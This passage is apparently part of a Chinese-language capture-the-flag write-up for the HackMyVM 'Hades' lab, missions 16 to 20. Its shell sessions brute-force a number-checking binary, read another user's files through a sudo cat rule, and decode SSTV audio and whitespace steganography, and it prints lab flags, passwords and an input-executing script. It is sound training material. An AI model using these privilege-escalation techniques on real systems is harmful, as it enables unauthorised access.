aura aura   220 Apr 23  2023 .bash_logout\n-rw-r--r-- 1 aura aura  3526 Apr 23  2023 .bashrc\n-rw-r--r-- 1 aura aura   807 Apr 23  2023 .profile\n-rw-r-x--- 1 root aura   160 Apr  5 06:36 auri.sh\n-rw-r----- 1 root aura    22 Apr  5 06:36 flagz.txt\n-rw-r----- 1 root aura   168 Apr  5 06:36 mission.txt\n-rw---x--- 1 root aura 16064 Apr  5 06:36 numbers\naura@hades:~$ grep -ra &#039;\\^*\\^&#039; .\ngrep: .\/numbers: Permission denied\n.\/flagz.txt:^YFMNmPnlKNpnWiYOhYy^\naura@hades:~$ cat mission.txt \n################\n# MISSION 0x16 #\n################\n\n## EN ##\nUser aegle has a good memory for numbers.\n\n## ES ##\nLa usuaria aegle tiene buena memoria para los numeros.\naura@hades:~$ cat auri.sh \n\n#!\/bin\/bash\necho &quot;What?&quot;\nread hackme\nif [[ $hackme == *&quot;e&quot;* || $hackme == *&quot;o&quot;* || $hackme == *&quot;?&quot;* ]]; then\nexit\nfi\n$hackme TiqpedAFjwmVyBlYpzRh 2&gt;\/dev\/null\n\naura@hades:~$ .\/numbers \nEnter one number:\n1\nNumber OK\nEnter next number:\n2\nNumber OK\nEnter next number:\n\n3\nNumber OK\nEnter next number:\n4\n\nNO :_(<\/code><\/pre>\n<p>\u8fd0\u6c14\u4e0d\u9519\u7b2c\u4e00\u6b21\u5c31\u627e\u5230\u4e09\u4e2a\uff0c\u5c1d\u8bd5\u7ee7\u7eed\u8fdb\u884c\u63a2\u6d4b\uff0c\u9614\u4ee5\u5c1d\u8bd5<a href=\"https:\/\/www.bilibili.com\/video\/BV1y642137HN\/?spm_id_from=333.788&amp;vd_source=8981ead94b755f367ac539f6ccd37f77\">\u7fa4\u4e3b\u7684\u65b9\u6848<\/a>\uff1a<\/p>\n<pre><code class=\"language-bash\">for i in $(seq 9); do echo -e &quot;1\\n2\\n3\\n$i&quot; | .\/numbers;sleep 0.2; done<\/code><\/pre>\n<pre><code class=\"language-bash\">aura@hades:~$ for i in $(seq 9); do echo -e &quot;1\\n2\\n3\\n$i&quot; | .\/numbers  | grep -c &#039;OK&#039;; sleep 0.2; done | nl\n     1  4\n     2  3\n     3  3\n     4  3\n     5  3\n     6  3\n     7  3\n     8  3\n     9  3<\/code><\/pre>\n<p>\u4e00\u4e2a\u4e00\u4e2a\u5c1d\u8bd5\u5373\u53ef\u5f97\u5230\u5bc6\u7801:1231239111126<\/p>\n<pre><code class=\"language-bash\">aura@hades:~$ .\/numbers\nEnter one number:\n1\nNumber OK\nEnter next number:\n2\nNumber OK\nEnter next number:\n3\nNumber OK\nEnter next number:\n1\nNumber OK\nEnter next number:\n2\nNumber OK\nEnter next number:\n3\nNumber OK\nEnter next number:\n9\nNumber OK\nEnter next number:\n1\nNumber OK\nEnter next number:\n1\nNumber OK\nEnter next number:\n1\nNumber OK\nEnter next number:\n1\nNumber OK\nEnter next number:\n2\nNumber OK\nEnter next number:\n6\nYRturIymmHSdBmEClEGe<\/code><\/pre>\n<h2>17 aegle<\/h2>\n<pre><code class=\"language-bash\">aegle@hades:~$ ls -la\ntotal 36\ndrwxr-x--- 2 root  aegle    4096 Apr  5 06:36 .\ndrwxr-xr-x 1 root  root     4096 Apr  5 06:36 ..\n-rw-r--r-- 1 aegle aegle     220 Apr 23  2023 .bash_logout\n-rw-r--r-- 1 aegle aegle    3526 Apr 23  2023 .bashrc\n-rw-r--r-- 1 aegle aegle     807 Apr 23  2023 .profile\n-rw-r----- 1 root  calliope   21 Apr  5 06:36 calliope_pass.txt\n-rw-r----- 1 root  aegle      22 Apr  5 06:36 flagz.txt\n-rw-r----- 1 root  aegle     176 Apr  5 06:36 mission.txt\naegle@hades:~$ grep -ra &#039;\\^*\\^&#039; .\n.\/flagz.txt:^XCwOqgVvWpDVwPVVUJa^\ngrep: .\/calliope_pass.txt: Permission denied\naegle@hades:~$ cat mission.txt \n################\n# MISSION 0x17 #\n################\n\n## EN ##\nUser calliope likes to have her things looked at.\n\n## ES ##\nA la usuaria calliope le gusta que le miren sus cosas.\naegle@hades:~$ sudo -l\nMatching Defaults entries for aegle on hades:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin, use_pty\n\nUser aegle may run the following commands on hades:\n    (calliope) NOPASSWD: \/bin\/cat\naegle@hades:~$ sudo -u calliope \/bin\/cat calliope_pass.txt        \n\/bin\/cat: calliope_pass.txt: Permission denied\naegle@hades:~$ sudo -u calliope \/bin\/cat \/pwned\/calliope\/flagz.txt\n^rFWOMwBJDidqSNtEJGJ^<\/code><\/pre>\n<h2>18 calliope<\/h2>\n<pre><code class=\"language-bash\">calliope@hades:~$ ls -la\ntotal 52\ndrwxr-x--- 3 root     calliope  4096 Apr  5 06:36 .\ndrwxr-xr-x 1 root     root      4096 Apr  5 06:36 ..\n-rw-r--r-- 1 calliope calliope   220 Apr 23  2023 .bash_logout\n-rw-r--r-- 1 calliope calliope  3533 Apr  5 06:36 .bashrc\n-rw-r--r-- 1 calliope calliope   807 Apr 23  2023 .profile\ndrwxr-xr-x 2 root     root      4096 Apr  5 06:36 .ssh\n-rw-r----- 1 root     calliope    22 Apr  5 06:36 flagz.txt\n-rw-r----- 1 root     calliope   175 Apr  5 06:36 mission.txt\n-r-s--s--- 1 root     calliope 16360 Apr  5 06:36 writeme\ncalliope@hades:~$ cat flagz.txt \n^rFWOMwBJDidqSNtEJGJ^\ncalliope@hades:~$ cat mission.txt \n################\n# MISSION 0x18 #\n################\n\n## EN ##\nThe user calypso often uses write to communicate.\n\n## ES ##\nLa usuaria calypso suele usar write para comunicarse.\ncalliope@hades:~$ grep -ra &#039;\\^*\\^&#039; .\n.\/flagz.txt:^rFWOMwBJDidqSNtEJGJ^\ngrep: .\/writeme: Permission denied\ncalliope@hades:~$ .\/writeme \nCannot send you my pass!Cannot send you my pass!Cannot send you my pass!Cannot send you my pass!Cannot send you my pass!\n\nhgbe02@pwn:~\/temp$ tldr mesg\nmesg\nCheck or set a terminal&#039;s ability to receive messages from other users, usually from the write command.See also write, talk.More information: https:\/\/manned.org\/mesg.1p.\n\n - Check terminal&#039;s openness to write messages:\n   mesg\n\n - Disallow receiving messages from the write command:\n   mesg n\n\n - Allow receiving messages from the write command:\n   mesg y\n\ncalliope@hades:~$ mesg  \nis n\ncalliope@hades:~$ mesg y\nCannot send you my pass!Cannot send you my pass!Cannot send you my pass!TAMYefoHcCPmexwImodo^OCbFzMIKPQOZQMEUKwEi^Cannot send you my pass!<\/code><\/pre>\n<h2>19 calypso<\/h2>\n<pre><code class=\"language-bash\">pso@hades:~$ ls -la\ntotal 8556\ndrwxr-x--- 2 root    calypso    4096 Apr  5 06:36 .\ndrwxr-xr-x 1 root    root       4096 Apr  5 06:36 ..\n-rw-r--r-- 1 calypso calypso     220 Apr 23  2023 .bash_logout\n-rw-r--r-- 1 calypso calypso    3526 Apr 23  2023 .bashrc\n-rw-r--r-- 1 calypso calypso     807 Apr 23  2023 .profile\n-rw-r----- 1 root    calypso 8726358 Dec 20  2021 cassy.wav\n-rw-r----- 1 root    calypso      22 Apr  5 06:36 flagz.txt\n-rw-r----- 1 root    calypso     164 Apr  5 06:36 mission.txt\ncalypso@hades:~$ cat cat flagz.txt \ncat: cat: No such file or directory\n^pssqdorRTYuTKuQBOYd^\ncalypso@hades:~$ cat mission.txt \n################\n# MISSION 0x19 #\n################\n\n## EN ##\nUser cassandra always wanted to be on TV.\n\n## ES ##\nLa usuaria cassandra siempre quiso salir en la TV.<\/code><\/pre>\n<p>\u8fd9\u662fsstv\u7684\u89e3\u7801\uff0c\u5c1d\u8bd5\u4f7f\u7528\u5de5\u5177\u8fdb\u884c\u89e3\u7801\uff0c\u6211\u4f7f\u7528\u7684\u662f <a href=\"https:\/\/github.com\/colaclanth\/sstv\">https:\/\/github.com\/colaclanth\/sstv<\/a><br \/>\n\u5148\u4f20\u5230kali\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp]\n\u2514\u2500$ scp -P 6666 calypso@hades.hackmyvm.eu:\/pwned\/calypso\/cassy.wav .\nThe authenticity of host &#039;[hades.hackmyvm.eu]:6666 ([185.233.104.77]:6666)&#039; can&#039;t be established.\nED25519 key fingerprint is SHA256:5QshhvvnibVTWOxgK9XbUejVSLahU6clfnK1Iku0wsg.\nThis key is not known by any other names.\nAre you sure you want to continue connecting (yes\/no\/[fingerprint])? yes\nWarning: Permanently added &#039;[hades.hackmyvm.eu]:6666&#039; (ED25519) to the list of known hosts.\n\n                                                      .     **                                   \n                                                   *           *.                                 \n                                                                  ,*                              \n                                                                     *,                            \n                                             ,                         ,*                         \n                                          .,                              *,                       \n                                       \/                                    *                    \n                                    ,*                                        *,                  \n                                 \/.                                            .*.                 \n                                                                _____                     \n                __     __           _____         ____________      _____\\    \\            _____   \n                \/  \\   \/  \\        \/      |_       \\           \\    \/    \/ |    |      _____\\    \\  \n                \/   \/| |\\   \\      \/         \\       \\           \\  \/    \/  \/___\/|     \/    \/ \\    | \n                \/   \/\/   \\   \\    |     \/\\    \\       |    \/\\     ||    |__ |___|\/    |    |  \/___\/| \n                \/    \\_____\/    \\   |    |  |    \\      |   |  |    ||       \\       ____\\    \\ |   || \n                \/    \/\\_____\/\\    \\  |     \\\/      \\     |    \\\/     ||     __\/ __   \/    \/\\    \\|___|\/ \n                \/    \/\/\\_____\/\\    \\ |\\      \/\\     \\   \/           \/||\\    \\  \/  \\ |    |\/ \\    \\      \n                \/____\/ |       | \\____\\| \\_____\\ \\_____\\ \/___________\/ || \\____\\\/    ||\\____\\ \/____\/|     \n                |    | |       | |    || |     | |     ||           | \/ | |    |____\/|| |   ||    | |     \n                |____|\/         \\|____| \\|_____|\\|_____||___________|\/   \\|____|   | | \\|___||____|\/      \n                                                                        |___|\/                     \n\n                                       **                                    **.                    \n                                          ,*                                **                       \n                                             *,                          ,*                          \n                                                *                      **                            \n                                                *,                .*                              \n                                                   *.           **                                 \n                                                      **      ,*,                                 \n                                                         ** *, \n                                        [== HMVLabs Chapter 2: Hades ==]\n\n                                         +===========================+\n                                         |        Respect &amp;          |\n                                         |        Have fun!          |\n                                         |                           |\n                                         | https:\/\/hackmyvm.eu\/hades |\n                                         +===========================+\n\ncalypso@hades.hackmyvm.eu&#039;s password: \ncassy.wav                                                                                                                                                               100% 8522KB 709.6KB\/s   00:12    <\/code><\/pre>\n<p>\u7136\u540e\u5c1d\u8bd5\u8fdb\u884c\u89e3\u7801\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/sstv-master]\n\u2514\u2500$ sudo sstv -d ..\/temp\/cassy.wav -o result.png\n[sstv] Searching for calibration header... Found!    \nTraceback (most recent call last):\n  File &quot;\/usr\/local\/bin\/sstv&quot;, line 33, in &lt;module&gt;\n    sys.exit(load_entry_point(&#039;sstv==0.1&#039;, &#039;console_scripts&#039;, &#039;sstv&#039;)())\n             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File &quot;\/usr\/local\/lib\/python3.11\/dist-packages\/sstv-0.1-py3.11.egg\/sstv\/__main__.py&quot;, line 18, in main\n  File &quot;\/usr\/local\/lib\/python3.11\/dist-packages\/sstv-0.1-py3.11.egg\/sstv\/command.py&quot;, line 109, in start\n  File &quot;\/usr\/local\/lib\/python3.11\/dist-packages\/sstv-0.1-py3.11.egg\/sstv\/decode.py&quot;, line 73, in decode\n  File &quot;\/usr\/local\/lib\/python3.11\/dist-packages\/sstv-0.1-py3.11.egg\/sstv\/decode.py&quot;, line 182, in _decode_vis\nValueError: SSTV mode is unsupported (VIS: 99)<\/code><\/pre>\n<p>\u5c1d\u8bd5\u5207\u6362\u811a\u672c\u8fdb\u884c\u89e3\u7801\uff1a<a href=\"https:\/\/github.com\/windytan\/slowrx\">https:\/\/github.com\/windytan\/slowrx<\/a><\/p>\n<pre><code class=\"language-bash\">sudo apt install libasound2-dev\nsudo apt install libgtk-3-dev\nsudo apt install libfftw3-dev \nmake<\/code><\/pre>\n<p>\u5de6\u4e0a\u89d2\u9009\u6210<code>Ensoniq AudioPCI<\/code>\uff0c\u7136\u540e\u64ad\u653e\u97f3\u9891\u5373\u53ef\uff0c\u9614\u4ee5\u5f97\u5230\u76ee\u6807\u56fe\u7247:<br \/>\nCKzlnvmHQz<\/p>\n<h2>20 cassandra<\/h2>\n<pre><code class=\"language-bash\">cassandra@hades:~$ ls -la\ntotal 36\ndrwxr-x--- 2 root      cassandra 4096 Apr  5 06:36 .\ndrwxr-xr-x 1 root      root      4096 Apr  5 06:36 ..\n-rw-r--r-- 1 cassandra cassandra  220 Apr 23  2023 .bash_logout\n-rw-r--r-- 1 cassandra cassandra 3526 Apr 23  2023 .bashrc\n-rw-r--r-- 1 cassandra cassandra  807 Apr 23  2023 .profile\n-rw-r----- 1 root      cassandra   22 Apr  5 06:36 flagz.txt\n-rw-r----- 1 root      cassandra  369 Apr  5 06:36 here.txt\n-rw-r----- 1 root      cassandra  147 Apr  5 06:36 mission.txt\ncassandra@hades:~$ grep -ra &#039;\\^*\\^&#039; .\n.\/flagz.txt:^lntvcYNlazEljOyZYKz^\ncassandra@hades:~$ cat mission.txt \n################\n# MISSION 0x20 #\n################\n\n## EN ##\nUser cassiopeia sees the invisible. \n\n## ES ##\nLa usuaria cassiopeia ve lo invisible.\ncassandra@hades:~$ cat here.txt \nVGhlIHBhc3N3b3JkIG9mIGNhc3Npb3BlaWEgaXM6CSAgICAgIAkgICAgCSAgIAkgICAgIAkgICAg\nCSAgICAKICAgCSAgICAJICAJICAgIAkgCSAgIAkgICAgICAgCSAgICAJICAgIAoJICAgICAgCQkg\nCSAgIAkgICAJICAgIAkgICAgIAkgICAgIAkgIAogICAJIAkgICAgIAkgICAgICAJICAgIAkgICAg\nICAJICAJICAJIAkgICAKICAgCSAgICAgIAkgICAgCSAJICAgICAJICAgICAgCSAgICAJICAgCSAg\nICAgCgkgICAgCSAgICAJIAkgICAgICAJICAgICAJIAkgCSAgICAgICAJIAo=\n\nhgbe02@pwn:~\/temp$ echo &#039;VGhlIHBhc3N3b3JkIG9mIGNhc3Npb3BlaWEgaXM6CSAgICAgIAkgICAgCSAgIAkgICAgIAkgICAgCSAgICAKICAgCSAgICAJICAJICAgIAkgCSAgIAkgICAgICAgCSAgICAJICAgIAoJICAgICAgCQkgCSAgIAkgICAJICAgIAkgICAgIAkgICAgIAkgIAogICAJIAkgICAgIAkgICAgICAJICAgIAkgICAgICAJICAJICAJIAkgICAKICAgCSAgICAgIAkgICAgCSAJICAgICAJICAgICAgCSAgICAJICAgCSAgICAgCgkgICAgCSAgICAJIAkgICAgICAJICA\ngICAJIAkgCSAgICAgICAJIAo=&#039; | base64 -d                                                                    \nThe password of cassiopeia is:                                              \n<\/code><\/pre>\n<p>\u53d1\u73b0\u5927\u91cf\u7a7a\u767d\u6000\u7591\u662f\u8fdb\u884c\u4e86\u9690\u5199\uff0c\u5c1d\u8bd5\u63d0\u53d6\uff1a<\/p>\n<pre><code class=\"language-bash\">hgbe02@pwn:~\/temp$ scp -P 6666 cassandra@hades.hackmyvm.eu:\/pwned\/cassandra\/here.txt .\n......\nhgbe02@pwn:~\/temp$ cat here.txt \nVGhlIHBhc3N3b3JkIG9mIGNhc3Npb3BlaWEgaXM6CSAgICAgIAkgICAgCSAgIAkgICAgIAkgICAg\nCSAgICAKICAgCSAgICAJICAJICAgIAkgCSAgIAkgICAgICAgCSAgICAJICAgIAoJICAgICAgCQkg\nCSAgIAkgICAJICAgIAkgICAgIAkgICAgIAkgIAogICAJIAkgICAgIAkgICAgICAJICAgIAkgICAg\nICAJICAJICAJIAkgICAKICAgCSAgICAgIAkgICAgCSAJICAgICAJICAgICAgCSAgICAJICAgCSAg\nICAgCgkgICAgCSAgICAJIAkgICAgICAJICAgICAJIAkgCSAgICAgICAJIAo=\nhgbe02@pwn:~\/temp$ cat here.txt | base64 -d &gt; here_flag\nhgbe02@pwn:~\/temp$ stegsnow here_flag \ngRqFnHblmZVZSfegPLvO<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>11 asia asia@hades:~$ ls -la total 32 drwxr-x&#8212; 2 root [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-722","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/722","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=722"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/722\/revisions"}],"predecessor-version":[{"id":723,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/722\/revisions\/723"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=722"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=722"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=722"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}